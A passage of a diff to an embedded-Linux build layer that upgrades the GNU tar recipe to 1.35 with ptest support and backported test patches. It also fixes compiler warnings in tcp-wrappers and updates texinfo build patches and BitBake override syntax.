+diff --git a/tests/exclude17.at b/tests/exclude17.at
+new file mode 100644
+index 0000000..4162b2b
+--- /dev/null
++++ b/tests/exclude17.at
+@@ -0,0 +1,35 @@
++# Process this file with autom4te to create testsuite. -*- Autotest -*-
++#
++# Test suite for GNU tar.
++# Copyright 2013-2022 Free Software Foundation, Inc.
++
++# This file is part of GNU tar.
++
++# GNU tar is free software; you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation; either version 3 of the License, or
++# (at your option) any later version.
++
++# GNU tar is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program. If not, see <http://www.gnu.org/licenses/>.
++
++AT_SETUP([--exclude-vcs-ignores memory allocation])
++AT_KEYWORDS([exclude exclude17])
++
++AT_TAR_CHECK([
++mkdir dir
++cd dir
++echo '*.o' >.cvsignore
++tar -cf - --exclude-vcs-ignores . | tar -tf -
++],
++[0],
++[./
++./.cvsignore
++])
++
++AT_CLEANUP
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
new file mode 100644
index 0000000000..577a9ba997
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
@@ -0,0 +1,112 @@
+From 4f814e0e4c673f86dc65a557f7e55f6b5efd1529 Mon Sep 17 00:00:00 2001
+From: Anton Makrushin <makrusan@gmail.com>
+Date: Mon, 20 Mar 2023 20:05:42 +0530
+Subject: Exclude VCS directory with writing from an archive
+
+See https://savannah.gnu.org/bugs/?62859
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=4f814e0e4c673f86dc65a557f7e55f6b5efd1529]
+
+Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
+
+---
+ tests/exclude18.at | 87 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 1 files changed, 87 insertions(+)
+ create mode 100644 tests/exclude18.at
+
+diff --git a/tests/exclude18.at b/tests/exclude18.at
+new file mode 100644
+index 0000000..64aaa52
+--- /dev/null
++++ b/tests/exclude18.at
+@@ -0,0 +1,87 @@
++# Process this file with autom4te to create testsuite. -*- Autotest -*-
++
++# Test suite for GNU tar.
++# Copyright 2004-2023 Free Software Foundation, Inc.
++
++# This file is part of GNU tar.
++
++# GNU tar is free software; you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation; either version 3 of the License, or
++# (at your option) any later version.
++
++# GNU tar is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program. If not, see <http://www.gnu.org/licenses/>.
++
++# Test --exclude-vcs option with subcommands: EXTRACT, LIST, DIFF.
++# Check VCS directory with files, and empty.
++#
++# Ref: https://savannah.gnu.org/bugs/?62859
++# Wed 03 Aug 2022 04:06:28 PM UTC, original submission: Quote
++# Mohamed Akram <mohdakram>
++# > The --exclude-vcs flag seems to exclude .gitignore but not .git when
++# extracting.
++
++AT_SETUP([--exclude-vcs extract list compare])
++AT_KEYWORDS([exclude-vcs extract list compare exclude18])
++
++AT_TAR_CHECK([
++AT_SORT_PREREQ
++mkdir gitrepo
++cd gitrepo
++
++# Make an empty VCS directory:
++mkdir .svn
++
++# Make a VCS directory with a file:
++mkdir .git
++touch .git/_A
++
++# Make a VCS file:
++touch .gitignore
++
++# Make non-VCS files:
++touch .git_B
++touch _C
++
++# Create an archive, include VCS:
++cd ..
++tar -cf gitrepo.tar gitrepo
++rm -r gitrepo
++
++echo Extract:
++tar -xvf gitrepo.tar --exclude-vcs | sort
++
++echo
++echo List:
++tar -tf gitrepo.tar --exclude-vcs | sort
++
++echo
++echo Diff:
++tar -dvf gitrepo.tar --exclude-vcs gitrepo | sort
++
++],
++[0],
++[Extract:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++
++List:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++
++Diff:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++],
++[])
++
++AT_CLEANUP
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/musl_dirent.patch b/meta/recipes-extended/tar/tar/musl_dirent.patch
deleted file mode 100644
index 2d98ed1310..0000000000
--- a/meta/recipes-extended/tar/tar/musl_dirent.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-musl has valid d_ino implementation
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: tar-1.28/m4/d-ino.m4
-===================================================================
---- tar-1.28.orig/m4/d-ino.m4
-+++ tar-1.28/m4/d-ino.m4
-@@ -40,7 +40,8 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_DIRENT_D_
- [gl_cv_struct_dirent_d_ino=no],
- [case "$host_os" in
- # Guess yes on glibc systems with Linux kernel.
-- linux*-gnu*) gl_cv_struct_dirent_d_ino="guessing yes" ;;
-+ linux*-gnu*|linux*-musl*)
-+ gl_cv_struct_dirent_d_ino="guessing yes" ;;
- # Guess no on native Windows.
- mingw*) gl_cv_struct_dirent_d_ino="guessing no" ;;
- # If we don't know, assume the worst.
diff --git a/meta/recipes-extended/tar/tar/run-ptest b/meta/recipes-extended/tar/tar/run-ptest
new file mode 100644
index 0000000000..185b33d61a
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/run-ptest
@@ -0,0 +1,14 @@
+#!/bin/sh
+
+# Define tar test work dir
+WORKDIR=@PTEST_PATH@/tests/
+
+# Run test
+cd ${WORKDIR}
+./atconfig ./atlocal ./testsuite
+
+# clear log
+rm -rf testsuite.dir
+rm -rf testsuite.log
+
+./testsuite --am-fmt
diff --git a/meta/recipes-extended/tar/tar_1.32.bb b/meta/recipes-extended/tar/tar_1.32.bb
deleted file mode 100644
index ebe6cb0dbd..0000000000
--- a/meta/recipes-extended/tar/tar_1.32.bb
+++ /dev/null
@@ -1,66 +0,0 @@
-SUMMARY = "GNU file archiving program"
-DESCRIPTION = "GNU tar saves many files together into a single tape \
-or disk archive, and can restore individual files from the archive."
-HOMEPAGE = "http://www.gnu.org/software/tar/"
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2 \
- file://musl_dirent.patch \
-"
-
-SRC_URI[md5sum] = "17917356fff5cb4bd3cd5a6c3e727b05"
-SRC_URI[sha256sum] = "e4bb9e08e12e7fa9f11fef544efc85e59ba34538593d9ad38148c7ca2bfbb566"
-
-inherit autotools gettext texinfo
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG_append_class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
-
-PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
-
-CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
-
-# Let aclocal use the relative path for the m4 file rather than the
-# absolute since tar has a lot of m4 files, otherwise there might
-# be an "Argument list too long" error when it is built in a long/deep
-# directory.
-acpaths = "-I ./m4"
-
-do_install () {
- autotools_do_install
- ln -s tar ${D}${bindir}/gtar
-}
-
-do_install_append_class-target() {
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/tar ${D}${base_bindir}/tar
- mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
- rmdir ${D}${bindir}/
- fi
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "tar"
-ALTERNATIVE_${PN}-rmt = "rmt"
-ALTERNATIVE_${PN}_class-nativesdk = ""
-ALTERNATIVE_${PN}-rmt_class-nativesdk = ""
-
-ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
-ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
-
-PROVIDES_append_class-native = " tar-replacement-native"
-NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/tar/tar_1.35.bb b/meta/recipes-extended/tar/tar_1.35.bb
new file mode 100644
index 0000000000..c7bd1d195e
--- /dev/null
+++ b/meta/recipes-extended/tar/tar_1.35.bb
@@ -0,0 +1,102 @@
+SUMMARY = "GNU file archiving program"
+DESCRIPTION = "GNU tar saves many files together into a single tape \
+or disk archive, and can restore individual files from the archive."
+HOMEPAGE = "http://www.gnu.org/software/tar/"
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
+
+SRC_URI[sha256sum] = "7edb8886a3dc69420a1446e1e2d061922b642f1cf632d2cd0f9ee7e690775985"
+
+inherit autotools gettext texinfo
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG:append:class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
+
+PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
+
+# Let aclocal use the relative path for the m4 file rather than the
+# absolute since tar has a lot of m4 files, otherwise there might
+# be an "Argument list too long" error when it is built in a long/deep
+# directory.
+acpaths = "-I ./m4"
+
+do_install () {
+ autotools_do_install
+ ln -s tar ${D}${bindir}/gtar
+}
+
+do_install:append:class-target() {
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/tar ${D}${base_bindir}/tar
+ mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
+ rmdir ${D}${bindir}/
+ fi
+}
+
+# add for ptest support
+SRC_URI += " \
+ file://run-ptest \
+ file://0001-tests-fix-TESTSUITE_AT.patch \
+ file://0002-tests-check-for-recently-fixed-bug.patch \
+ file://0003-Exclude-VCS-directory-with-writing-from-an-archive.patch \
+"
+
+inherit ptest
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/gnu/ check
+ oe_runmake -C ${B}/lib/ check
+ oe_runmake -C ${B}/rmt/ check
+ oe_runmake -C ${B}/src/ check
+ rm -rf ${S}/tests/testsuite
+ oe_runmake -C ${B}/tests/ testsuite
+ oe_runmake -C ${B}/tests/ genfile checkseekhole ckmtime
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
+ sed -i "/abs_/d" ${D}${PTEST_PATH}/tests/atconfig
+ echo "abs_builddir=${PTEST_PATH}/tests/" >> ${D}${PTEST_PATH}/tests/atconfig
+ install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
+ sed -i "/PATH=/d" ${D}${PTEST_PATH}/tests/atlocal
+ install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/checkseekhole ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/ckmtime ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
+ sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/run-ptest
+}
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "tar"
+ALTERNATIVE:${PN}-rmt = "rmt"
+ALTERNATIVE:${PN}:class-nativesdk = ""
+ALTERNATIVE:${PN}-rmt:class-nativesdk = ""
+
+ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+PROVIDES:append:class-native = " tar-replacement-native"
+NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Avoid false positives from CVEs in node-tar package
+# For example CVE-2021-{32803,32804,37701,37712,37713}
+CVE_PRODUCT = "gnu:tar"
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
new file mode 100644
index 0000000000..474703885d
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
@@ -0,0 +1,114 @@
+From 9c97b5db237a793e0d1b6b0241570bdc6e35ee24 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 7 Aug 2022 17:42:24 -0700
+Subject: [PATCH] Fix implicit-function-declaration warnings
+
+These are seen with clang-15+
+
+Upstream-Status: Inappropriate [upstream is dead]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ hosts_access.c | 3 +++
+ safe_finger.c | 1 +
+ shell_cmd.c | 3 +++
+ tcpd.c | 2 +-
+ tcpdchk.c | 1 +
+ workarounds.c | 1 +
+ 6 files changed, 10 insertions(+), 1 deletion(-)
+
+diff --git a/hosts_access.c b/hosts_access.c
+index 0133e5e..58697ea 100644
+--- a/hosts_access.c
++++ b/hosts_access.c
+@@ -33,6 +33,12 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
+ #endif
+ #include <netinet/in.h>
+ #include <arpa/inet.h>
++#ifdef USE_GETDOMAIN
++/* defined in workarounds.c */
++extern int yp_get_default_domain(char **ptr);
++#else
++# include <rpcsvc/ypclnt.h>
++#endif /* USE_GETDOMAIN */
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <syslog.h>
+@@ -45,6 +46,8 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
+ #endif
+
+ extern int errno;
++extern int match_pattern_ylo(const char *s, const char *pattern);
++extern unsigned long cidr_mask_addr(char* str);
+
+ #ifndef INADDR_NONE
+ #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
+diff --git a/safe_finger.c b/safe_finger.c
+index 23afab1..a6458fb 100644
+--- a/safe_finger.c
++++ b/safe_finger.c
+@@ -34,6 +34,7 @@ static char sccsid[] = "@(#) safe_finger.c 1.4 94/12/28 17:42:41";
+ #include <syslog.h>
+
+ extern void exit();
++extern int pipe_stdin(char **argv);
+
+ /* Local stuff */
+
+diff --git a/shell_cmd.c b/shell_cmd.c
+index 62d31bc..a566092 100644
+--- a/shell_cmd.c
++++ b/shell_cmd.c
+@@ -16,10 +16,13 @@ static char sccsid[] = "@(#) shell_cmd.c 1.5 94/12/28 17:42:44";
+
+ #include <sys/types.h>
+ #include <sys/param.h>
++#include <sys/wait.h>
++#include <fcntl.h>
+ #include <signal.h>
+ #include <stdio.h>
+ #include <syslog.h>
+ #include <string.h>
++#include <unistd.h>
+
+ extern void exit();
+
+diff --git a/tcpd.c b/tcpd.c
+index dc9ff17..4353caa 100644
+--- a/tcpd.c
++++ b/tcpd.c
+@@ -46,7 +46,7 @@ void fix_options(struct request_info *);
+ int allow_severity = SEVERITY; /* run-time adjustable */
+ int deny_severity = LOG_WARNING; /* ditto */
+
+-main(argc, argv)
++void main(argc, argv)
+ int argc;
+ char **argv;
+ {
+diff --git a/tcpdchk.c b/tcpdchk.c
+index 5dca8bd..67c12ce 100644
+--- a/tcpdchk.c
++++ b/tcpdchk.c
+@@ -38,6 +38,7 @@ static char sccsid[] = "@(#) tcpdchk.c 1.8 97/02/12 02:13:25";
+
+ extern int errno;
+ extern void exit();
++extern unsigned long cidr_mask_addr(char* str);
+ extern int optind;
+ extern char *optarg;
+
+diff --git a/workarounds.c b/workarounds.c
+index b22b378..6335049 100644
+--- a/workarounds.c
++++ b/workarounds.c
+@@ -21,6 +21,7 @@ char sccsid[] = "@(#) workarounds.c 1.6 96/03/19 16:22:25";
+ #include <stdio.h>
+ #include <syslog.h>
+ #include <string.h>
++#include <unistd.h>
+
+ extern int errno;
+
+--
+2.37.1
+
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
index 8e46df8e1e..cf4f993c1a 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
@@ -7,9 +7,8 @@ Date: Tue Feb 12 09:53:50 2013 -0500
Added support for socklen_t type to len argument passed to socket related
calls. This fixes a bug that causes tcp wrappers to fail when using sshd.
- Upstream-Status: Pending
-
- Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
+Upstream-Status: Pending
+Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
diff --git a/fix_options.c b/fix_options.c
index 7473adf..fe2b442 100644
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
index e903b9db14..bcd1d6f792 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
@@ -6,17 +6,14 @@ SECTION = "console/network"
LICENSE = "BSD-1-Clause"
LIC_FILES_CHKSUM = "file://DISCLAIMER;md5=071bd69cb78b18888ea5e3da5c3127fa"
-PR ="r10"
-
-DEPENDS += "libnsl2"
PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc"
-FILES_libwrap = "${base_libdir}/lib*${SOLIBS}"
-FILES_libwrap-doc = "${mandir}/man3 ${mandir}/man5"
-FILES_libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
-FILES_libwrap-staticdev = "${libdir}/lib*.a"
-FILES_${PN} = "${sbindir}"
-FILES_${PN}-doc = "${mandir}/man8"
+FILES:libwrap = "${base_libdir}/lib*${SOLIBS}"
+FILES:libwrap-doc = "${mandir}/man3 ${mandir}/man5"
+FILES:libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
+FILES:libwrap-staticdev = "${libdir}/lib*.a"
+FILES:${PN} = "${sbindir}"
+FILES:${PN}-doc = "${mandir}/man8"
SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://00_man_quoting.diff \
@@ -50,6 +47,7 @@ SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://fix_warnings.patch \
file://fix_warnings2.patch \
file://0001-Remove-fgets-extern-declaration.patch \
+ file://0001-Fix-implicit-function-declaration-warnings.patch \
"
SRC_URI[md5sum] = "e6fa25f71226d090f34de3f6b122fb5a"
@@ -78,9 +76,9 @@ EXTRA_OEMAKE = "'CC=${CC}' \
'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'"
EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN"
-EXTRA_OEMAKE_NETGROUP_libc-musl = "-DUSE_GETDOMAIN"
+EXTRA_OEMAKE_NETGROUP:libc-musl = "-DUSE_GETDOMAIN"
-EXTRA_OEMAKE_append_libc-musl = " 'LIBS='"
+EXTRA_OEMAKE:append:libc-musl = " 'LIBS='"
do_compile () {
oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \
@@ -133,4 +131,4 @@ do_install () {
touch ${D}${sysconfdir}/hosts.deny
}
-FILES_${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
+FILES:${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
index ec04bfe390..a942ac2991 100644
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
+++ b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
@@ -1,5 +1,6 @@
SUMMARY = "Fake version of the texinfo utility suite"
SECTION = "console/utils"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb"
DEPENDS = ""
diff --git a/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
new file mode 100644
index 0000000000..b43a115b23
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
@@ -0,0 +1,55 @@
+From ee9d23373b488c4a499c561d71e6b6ba7ca1bd31 Mon Sep 17 00:00:00 2001
+From: Joshua Lock <josh@linux.intel.com>
+Date: Fri, 16 Sep 2011 15:35:48 -0700
+Subject: [PATCH 1/3] texinfo: several changes to build without zlib and
+ ncurses
+
+We already DEPEND on the native texinfo being present before building so
+there isn't any need to try and build the required native texinfo binaries
+before cross-compiling. This simplifies the recipe somewhat!
+
+Upstream-Status: Inappropriate oe specific
+
+Signed-off-by: Joshua Lock <josh@linux.intel.com>
+---
+ configure.ac | 24 +-----------------------
+ 1 file changed, 1 insertion(+), 23 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 8094498..5b72fc1 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -247,29 +247,7 @@ AC_CANONICAL_BUILD
+ # $native_tools is also added to SUBDIRS in the main Makefile.am,
+ # so that make compiles the native tools first.
+ #
+-if test "$cross_compiling" = no; then
+- native_tools=
+-else
+- native_tools=tools
+- test -d "$native_tools" || mkdir "$native_tools"
+- confdir=`(cd "$srcdir";pwd)`
+- # Make sure the secondary configure won't fail with
+- # "error: source directory already configured".
+- rm -f config.status
+- AC_MSG_NOTICE([[Doing configure of native tools (${build}).]])
+- cd "$native_tools" || exit 1
+- # Run secondary configure in alternate environment or
+- # it gets the wrong CC etc.
+- # env -i gives this build host configure a clean environment;
+- # consequently, we have to re-initialize $PATH.
+- env -i CC="$BUILD_CC" AR="$BUILD_AR" RANLIB="$BUILD_RANLIB" \
+- PATH="$PATH" \
+- tools_only=1 \
+- ${confdir}/configure --build=${build} --host=${build} \
+- --disable-rpath --disable-nls
+- cd .. || exit 1
+- AC_MSG_NOTICE([[Continuing with main configure (${host}).]])
+-fi
++native_tools=
+ AC_SUBST(native_tools)
+ AM_CONDITIONAL(TOOLS_ONLY, [[test "x$tools_only" = x1]])
+
+--
+2.39.2
+
diff --git a/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch b/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch
new file mode 100644
index 0000000000..f3b6827d58
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch
@@ -0,0 +1,68 @@
+From e02be81fa68ddc7f939abd99de4e42759a0d5d8c Mon Sep 17 00:00:00 2001
+From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
+Date: Tue, 29 Nov 2016 13:43:24 -0600
+Subject: [PATCH 2/3] dont-depend-on-help2man
+
+Upstream-Status: Inappropriate
+
+Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
+Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
+---
+ doc/Makefile.am | 2 +-
+ man/Makefile.am | 12 ++++++------
+ 2 files changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index e9e6298..f1b9895 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -63,7 +63,7 @@ refcard/txirefcard.pdf refcard/txirefcard-a4.pdf: refcard/txirefcard.tex
+ # Include our texinfo.tex, not Automake's.
+ EXTRA_DIST = epsf.tex texinfo.tex \
+ fdl.texi \
+- $(man_MANS) $(TXI_XLATE) \
++ $(TXI_XLATE) \
+ $(refcard_files) \
+ texinfo-tex-test.texi texinfo-tex-test.WIDOWs \
+ texinfo-ja.tex short-sample-ja.texi \
+diff --git a/man/Makefile.am b/man/Makefile.am
+index f2c703f..61caeeb 100644
+--- a/man/Makefile.am
++++ b/man/Makefile.am
+@@ -11,27 +11,27 @@
+ # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+ # These are generated using help2man.
+-man_MANS = install-info.1 makeinfo.1 texindex.1 texi2dvi.1
++#man_MANS = install-info.1 makeinfo.1 texindex.1 texi2dvi.1
+
+ # These require the build in info/, thus can't do if we failed to find a
+ # terminal library.
+ if HAVE_TERMLIBS
+-man_MANS += info.1
++#man_MANS += info.1
+ endif
+
+ # These are hand-written.
+-man_MANS += info.5 texinfo.5
++#man_MANS += info.5 texinfo.5
+
+-man_MANS += pod2texi.1
++#man_MANS += pod2texi.1
+
+ pod2texi.1: $(top_srcdir)/Pod-Simple-Texinfo/pod2texi.pl
+ $(POD2MAN) $(top_srcdir)/Pod-Simple-Texinfo/pod2texi.pl >"$@"
+
+
+ # These are just .so's to the common program.
+-man_MANS += texi2any.1 texi2pdf.1 pdftexi2dvi.1
++#man_MANS += texi2any.1 texi2pdf.1 pdftexi2dvi.1
+
+-EXTRA_DIST = $(man_MANS) ginfo.h2m
++EXTRA_DIST = ginfo.h2m
+
+ # Maintainers should be able to regenerate.
+ MAINTAINERCLEANFILES = $(man_MANS)
+--
+2.39.2
+
diff --git a/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
new file mode 100644
index 0000000000..f99f8b87d5
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
@@ -0,0 +1,28 @@
+From 33b85a3928895b812b37dc759c6de711802db45f Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Mon, 29 Jul 2013 15:02:34 -0700
+Subject: [PATCH 3/3] texinfo: Update to 5.1
+
+Upstream-Status: Inappropriate [cross build specific]
+
+Signed-off-by: Saul Wold <sgw@linux.intel.com>
+---
+ info/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/info/Makefile.am b/info/Makefile.am
+index f57b341..a019aa7 100644
+--- a/info/Makefile.am
++++ b/info/Makefile.am
+@@ -77,7 +77,7 @@ cmd_sources = $(srcdir)/session.c $(srcdir)/echo-area.c $(srcdir)/infodoc.c \
+ # more than once.
+ funs.h: makedoc$(EXEEXT) $(cmd_sources)
+ rm -f $(generated_sources)
+- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
++ makedoc $(cmd_sources)
+
+ # The following hack is necessary to hint make before the automatic
+ # dependencies are built.
+--
+2.39.2
+
diff --git a/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch b/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch
deleted file mode 100644
index ab6f1658aa..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-We already DEPEND on the native texinfo being present before building so
-there isn't any need to try and build the required native texinfo binaries
-before cross-compiling. This simplifies the recipe somewhat!
-
-Upstream-Status: Inappropriate oe specific
-
-Signed-off-by: Joshua Lock <josh@linux.intel.com>
-
-Index: texinfo-4.13/configure.ac
-===================================================================
---- texinfo-4.13.orig/configure.ac
-+++ texinfo-4.13/configure.ac
-@@ -100,29 +100,7 @@ AC_CANONICAL_BUILD
- # $native_tools is also added to SUBDIRS in the main Makefile.am,
- # so that make compiles the native tools first.
- #
--if test "$cross_compiling" = no; then
-- native_tools=
--else
-- native_tools=tools
-- test -d "$native_tools" || mkdir "$native_tools"
-- confdir=`(cd "$srcdir";pwd)`
-- # Make sure the secondary configure won't fail with
-- # "error: source directory already configured".
-- rm -f config.status
-- AC_MSG_NOTICE([[Doing configure of native tools (${build}).]])
-- cd "$native_tools" || exit 1
-- # Run secondary configure in alternate environment or
-- # it gets the wrong CC etc.
-- # env -i gives this build host configure a clean environment;
-- # consequently, we have to re-initialize $PATH.
-- env -i CC="$BUILD_CC" AR="$BUILD_AR" RANLIB="$BUILD_RANLIB" \
-- PATH="$PATH" \
-- tools_only=1 \
-- ${confdir}/configure --build=${build} --host=${build} \
-- --disable-rpath --disable-nls
-- cd .. || exit 1
-- AC_MSG_NOTICE([[Continuing with main configure (${host}).]])
--fi
-+native_tools=
- AC_SUBST(native_tools)
